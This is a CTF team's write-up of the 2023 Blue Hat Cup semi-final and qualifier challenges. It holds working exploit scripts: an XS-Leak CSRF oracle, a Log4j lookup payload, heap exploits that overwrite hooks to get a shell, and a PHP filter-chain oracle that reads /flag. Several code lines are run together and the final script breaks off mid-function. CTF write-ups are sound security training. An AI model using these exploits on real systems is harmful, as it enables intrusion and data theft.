2023 BluehatCup Semi-Finals WriteUp by 圣地亚哥皮蛋

被队友带飞了,本来一直是总榜第一,后来吉林大学的师傅们TQL,最后5min出了PWN侧信道成功反超我们,后面再加上取证我们也只能屈居分区第二(总榜第二)了呜呜呜~不过,好歹算是“有惊无险”进入决赛了,师傅们北京见!

Web

AirticleShare

原题,唯一的改动是把 show.php 改成了 lookup.php,不过题目环境不太好,一直把 sleep 改大 改到 6 才能顺利跑通

import requests
import time

s = requests.Session()

base_url = "http://112.74.185.213:46791/"

res = s.get(base_url)

pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]

ss = "1234567890abcdef"
flag = ""

for i in range(16):
    for j in ss:
        payload = f"<form data-parsley-validate><input data-parsley-required data-parsley-trigger=\"blur\" data-parsley-error-message='<input type=\"input\" id=like value=\"rebirth_is_really_nb\">' data-parsley-errors-container=\"a[href^='/lookup.php?id={flag + j}']\" autofocus></form>"
        data = {'c': csrftoken, 'content': payload}
        res = s.post(base_url + "add.php", data=data, allow_redirects=False)
        # print(res.headers)
        location = res.headers['Location']
        pos = location.find('id=') + 3
        wp = location[pos:]
        data = {'c': csrftoken, 'id': wp}
        res = s.post(base_url + "admin.php", data=data)
        time.sleep(6)

        res = s.get(f"http://112.74.185.213:46791/lookup.php?id={wp}")
        # print(res.text)
        txt = res.text.replace("\n", "").replace("\r", "")
        if "Liked by</h3>admin" not in txt:
            flag += j
            print(i,flag)
            break

然后带着这个 id 去访问

参考文章: https://blog.zeddyu.info/2020/01/08/36c3-web/#writeupbin

MyLinuxBot

根据代码和提示可以简单猜测和 log4j 相关的题目,但是这里没有给出 jar 包源码,说这个不关键

上网随手一搜搜出来了原题 GoogleCTF2022-Log4j

这里这道题只是对 python 代码做了简单的混淆,按照 https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/,直接打里面的非预期就能通

${bundle:${env:FLAG}}

pwn

Uaf

直接l用ubin可以leak,然后利用admin中的哪个任意地址写打exit_hook就行了

其实不至于这么麻烦的emmmm,然后发现只用里面的哪个格式化字符串就可以单独完成这个漏洞的利用:

#encoding = utf-8
import os
import sys
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = remote('120.78.209.16',40894)
#p = process('./main')
elf = ELF('./main')
libc = ELF('./libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('>> \n',cho)

def login():
        choice(5)
        sa('Passwd: \n','1234567890')

def pwn():
        login()
        #debug()
        sla("Tell me ur name: \n",'%19$p')
        ru('0x')
        libcbase = int(r(12),16) - 0x7fc55edc1083 + 0x7fc55ed9d000
        leak('libcbase',libcbase)
        exithook = libcbase + 0x222060 + 3848
        og = libcbase + 0xe6c7e
        sla('>> \n','2')
        p.sendafter('WRITE MODE: \n',p64(exithook))
        sleep(1)
        p.send(p64(og))
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

Admin

出题人万岁,退役之前还能拿个一血开心

非预期,就是过滤了flag但是没过滤f*就出了

cat f*

Crypto

ezrsa

等式前边通分、分子等分子、分母等分母

解方程

from Crypto.Util.number import *
from gmpy2 import *
import sympy
n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339
c = 15380535750650959213679345560658190067564859611922563753882617419201718847747207949211621591882732604480600745000879508274349808435529637573773711729853565120321608048340424321537282281161623712479117497156437792084977778826238039385697230676340978078264209760724043776058017336241110097549146883806481148999
X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426

p = sympy.Symbol('p')
q = sympy.Symbol('q')
f1 = p - q + 1 - (-X - 2 * Y)
f2 = p * q - n
result = sympy.solve([f1,f2],[p,q])
print(result)
p = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
q = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Re

justamat

一开始给v0赋值 there_are_a_lot_useless_information_but_oh.o0O_

然后是输出和读入的过程

这里v14就是输入的长度,根据长度选择流程,这里应该是大于15的

这里进行字符串拼接,动调发现就是str1+input+str2

然后用do...while写了一个遍历,把str1+input+str2​存入v5,也就是后面的v16

然后进这个函数中

双字节提取出来

这个do..while循环就是主要逻辑

这里直接 用z3求解

from z3 import*
s=Solver()
flag = [Int("flag%d" % i) for i in range(100)]
a = [0x0001C633, 0x0001DF94, 0x00020EBF, 0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 0x0001EA1A, 0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 0x00025D74, 0x0001F000, 0x000202D6, 0x00020002, 0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 0x0002C7BA, 0x000201AE, 0x00027FBF, 0x00020E21, 0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 0x0001F4D7, 0x00022C8D, 0x0002C353, 0x0001F8DB, 0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 0x0001EDA8, 0x0001AD7D, 0x00018218, 0x0001CCD4, 0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 0x0001A4F4, 0x0001CAD8, 0x000196AE, 0x0001831B, 0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 0x00021760, 0x0001D3B4, 0x000175D6, 0x00017D3A, 0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 0x00017EEB, 0x0001327E, 0x00016A45, 0x00012921, 0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 0x00017D17, 0x00017262, 0x0001A863, 0x00017010, 0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 0x0001242C, 0x0000F68C, 0x0001192A, 0x000150AD, 0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 0x000141A6, 0x00015AA3, 0x000135C9, 0x0001D86F, 0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 0x00027EE6, 0x000213B9, 0x00020E86, 0x000211FF, 0x0001E1EF]
b = [0x000000FE, 0x0000000B, 0x0000001D, 0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 0x000000B8, 0x000000DD, 0x000000B0, 0x000000C5, 0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 0x000000DD, 0x000000D9, 0x00000007, 0x0000002D, 0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 0x000000FD, 0x00000087, 0x00000072, 0x00000024, 0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 0x000000CE, 0x00000091, 0x000000BE, 0x00000041, 0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 0x00000063, 0x0000001C, 0x000000D2, 0x00000090, 0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 0x000000F3, 0x00000041, 0x000000AD, 0x0000002C, 0x00000003, 0x00000069, 0x000000DA, 0x00000010, 0x000000FD, 0x000000FD, 0x000000E7, 0x00000006, 0x00000036, 0x000000D6, 0x00000002, 0x00000059, 0x00000018, 0x000000CC, 0x00000050, 0x00000087, 0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 0x0000007F, 0x000000AD, 0x000000F8, 0x0000002C, 0x00000067, 0x0000001D, 0x00000022, 0x00000084, 0x000000AC, 0x0000000E, 0x00000023, 0x000000DC, 0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 0x0000004A, 0x000000BC, 0x000000DE, 0x00000050, 0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 0x0000003A, 0x0000002D, 0x000000DD, 0x000000C3, 0x00000003]

print(len(a))
for j in range(10):
    for k in range(10):
        i = k
        v8 = 0
        for m in range(10):
            v9 = flag[j*10+m] * b[i+m*10]
            #i += 10
            v8 += v9
        s.add(v8==a[k+j*10])

if s.check() == sat:
    m = s.model()
    for f in flag:
        print(chr(m[f].as_long()),end='')

Misc

签到

排队队吃果果

每一列excel按照数值升序排序,然后粗的是1,可以用Excel条件格式批量实现:

重新设置一下宽高就好了:

flag{35b6f3ed-9d28-93b8-e124-39f8ec3376b2}

取证

1、

看字面意思应该是任务开始的时候

2、

3、

4、

手机取证软件直接就有

5、

取证软件里面就有

6、

​​c727420a290df2250001612e4d5c1b0​​

7、

火眼出

8、

​​6ada8fd70d0b2788fea737d8e2dcb27​​

9、

同上题图

10、

11、

12、

在sd卡里面找到找到calllog.txt用base64解密,就看到了通话记录

发现有两次

13、

两次,一次AES,一次base64

14、

找到了一个getkey的函数

里面对字符串lijubdyhfurindhcbxdw

根据函数特征猜测应该是base64加密后取前16位

bGlqdWJkeWhmdXJp

找到sms.txt解密发现有效

package script;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import javax.crypto.Cipher;

public class aes_dec {
    public static void decrypt() {
        try {
            String key= "bGlqdWJkeWhmdXJp";
            String enc = "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";
            byte[] enc_b64decode = Base64.getDecoder().decode(enc);
            SecretKeySpec key_init = new SecretKeySpec(key.getBytes("utf-8"), "AES");
            Cipher decode = Cipher.getInstance("AES/ECB/NoPadding");
            decode.init(Cipher.DECRYPT_MODE,key_init);
            byte[] enc_aesdecode = decode.doFinal(enc_b64decode);
            String flag = new String(enc_aesdecode, "utf-8");
            System.out.println(flag);
        }
        catch(Exception v5_1) {
            v5_1.printStackTrace();
        }
    }
}

15、

【探探应用】碧波,有人追你!她20岁,离你553米,建议匹配后和她聊聊成都的话题。l.tantanapp.com/app 回T退订, Date: Tue Aug 17 17:51:02 GMT+08:00 2021
Address: 106931164284, Body: 【百合网】有人多次给你留言没有得到你的回复呢,点击查看 http://j.qiuai.com/21VCHMdSTAS; 回T退订, Date: Tue Aug 17 17:31:23 GMT+08:00 2021
Address: 10658678, Body: 四川手机报:你和妻子/丈夫最难沟通的事是什么?“3.8国际妇女节”到来之际,四川手机报发起话题征集:作为妻子,日常生活中哪种情形让你觉得和丈夫很难沟通?作为丈夫,妻子的哪些话让你不明所以?跟帖留言 mala.cn/t/16104287?s=fOJt81F, Date: Mon Mar 01 09:50:52 GMT+08:00 2021
Address: 106948500153, Body: 【借呗】你支付宝120***@qq.com借呗今天将从余额、储蓄卡或余额宝自动还款1021.68元。如已还款,请忽略, Date: Mon Mar 01 09:26:44 GMT+08:00 2021
Address: 10086, Body: 【缴费提醒】尊敬的客户,您好!您于2021年03月01日09时10分,使用统一支付充值服务为本机充值100.00元,当前余额为124.21元。为避免影响您上网功能的正常使用,请进行关开机或关开飞行模式操作,谢谢。如需查看更多业务使用情况,请登录【四川移动掌上营业厅】,点击下载体验http://dx.10086.cn/schfcd 。百分努力,只为您10分满意!【中国移动】, Date: Mon Mar 01 09:09:49 GMT+08:00 2021
Address: 106980095188, Body: 【支付宝】你正在登录支付宝,验证码9250,泄露验证码会影响资金安全。唯一热线:95188, Date: Mon Mar 01 09:08:43 GMT+08:00 2021

2023 BluehatCup CTF partly WriteUp by 圣地亚哥皮蛋 | QUALS

这次CTF部分打的可以,抢了一个Misc二血。但是取证拉了。。。呜呜呜,要好好学取证了捏

PWN

takeway

就可以随意地址申请堆块,先改最大堆块数,然后在elf地址上泄露一个stdout,之后就打free_hook就行了,版本是2.31_9.9

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

add_idx = 1
delete_idx = 2
edit_idx = 3
context.arch = 'amd64'
p = remote('101.200.234.115',46498)
#p = process('./takeway')
elf = ELF('./takeway')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('Please input your choose: ',cho)

def add(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        sla('Please input your food name: ',name)
        sla('a remark: ',content)

def delete(idx):
        choice(delete_idx)
        sla('Please input your order index: ',idx)

def edit(idx,content):
        choice(edit_idx)
        sla('Please input index: ',idx)
        p.sendlineafter('New food name is: ',content)

def add1(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        p.sendlineafter('Please input your food name: ',name)
        p.sendlineafter('a remark: ',content)

def pwn():
        add(0,'banana','xj')
        add(1,'banana','xj')
        delete(0)
        delete(1)
        edit(1,p64(0x0404080))
        add(2,'banana','xj')
        add(3,'bananaa','fffffff')
        choice(edit_idx)
        sla('Please input index: ',3)
        ru('fff\n')
        out = uu64(r(6))
        leak('stdout',out)
        p.sendlineafter('New food name is: ','cat')
        libcbase = out-(0x7f881942f6a0 - 0x7f8819242000)
        leak('libcbase',libcbase)
        delete(0)
        delete(1)
        edit(1,p64(libcbase + libc.sym['__free_hook']))
        add(4,'cat','cat')
        choice(add_idx)
        sla('Please input your order index\n',7)
        p.sendafter('Please input your food name: ',p64(libcbase+libc.sym['system']))
        p.sendlineafter('a remark: ','aa')
        leak('free',libcbase + libc.sym['__free_hook'])
        edit(1,'/bin/sh')
        #debug()
        delete(1)
        #debug()
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

WEB

Lovephp

第一个 tricks https://bugs.php.net/bug.php?id=81151

第二个 tricks 是这里的这个参数怎么传入,在 ctfshow 中也有过相应题目,看到 main/php_variables.c#L105-L115:

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p='_';
    } else if (*p == '[') {
        is_array = 1;
        ip = p;
        *p = 0;
        break;
    }
}

为了某些特殊的需要,我们发现 PHP 会将 空格、. 转化为下划线,但是如果这里有 [ 的话会直接 break 掉,然后在 is_array==1 的时候会调用如下内容

main/php_variables.c#L191-L195

if (!ip) {
    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
    *(index_s - 1) = '_';

    index_len = 0;

这里我们的 [ 会被替换为 _ 但是后续却没有再继续进行 . 和 空格 的检测,最终构造 paylaod 如下:my[secret.flag=C:8:"Saferman":0:{}

然后就是 file() 函数的利用,参考 https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

http://tttang.com/archive/1395/#toc_craft-base64-payload

这里是一个 PHP Devlopment Sever,重新用脚本 fuzz 一下,直接读 /flag

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
        return '|'.join(x)

def err(s):
        print(s)
        raise ValueError

def req(s):
        params = {
                'secret': f'php://filter/{s}/resource=/flag',
                "my[secret.flag":'C:8:"Saferman":0:{}'
        }
        return requests.post('http://39.105.5.7:45123/index.php', params=params).status_code == 500"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')
baseline_blowup = 0for n in range(100):
        payload = join(*[blow_up_utf32]*n)
        if req(f'{header}|{payload}'):
                baseline_blowup = n
                breakelse:
        err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
        req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
        err('something wrong')
if j[0] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
        header = f'convert.base64-encode|convert.base64-encode'else:
        err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
        global flip, r2, r4
        o = []
        chunk = n // 2if chunk % 2 == 1: o.append(r4)
        o.extend([flip, r4] * (chunk // 2))
        if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
        return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
        if not req(f'{prefix}|dechunk|{blow_up_inf}'):
                # a-f A-F 0-9if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
                        # a-efor n in range(5):
                                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'edcba'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # A-Efor n in range(5):
                                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'EDCBA'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
                        return '*'
                elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # freturn 'f'
                elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Freturn 'F'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
                # n-s N-Sif not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
                        # n-rfor n in range(5):
                                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'rqpon'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # N-Rfor n in range(5):
                                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'RQPON'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # sreturn 's'
                elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Sreturn 'S'else:
                        err('something wrong')
        elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # i j kif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'k'
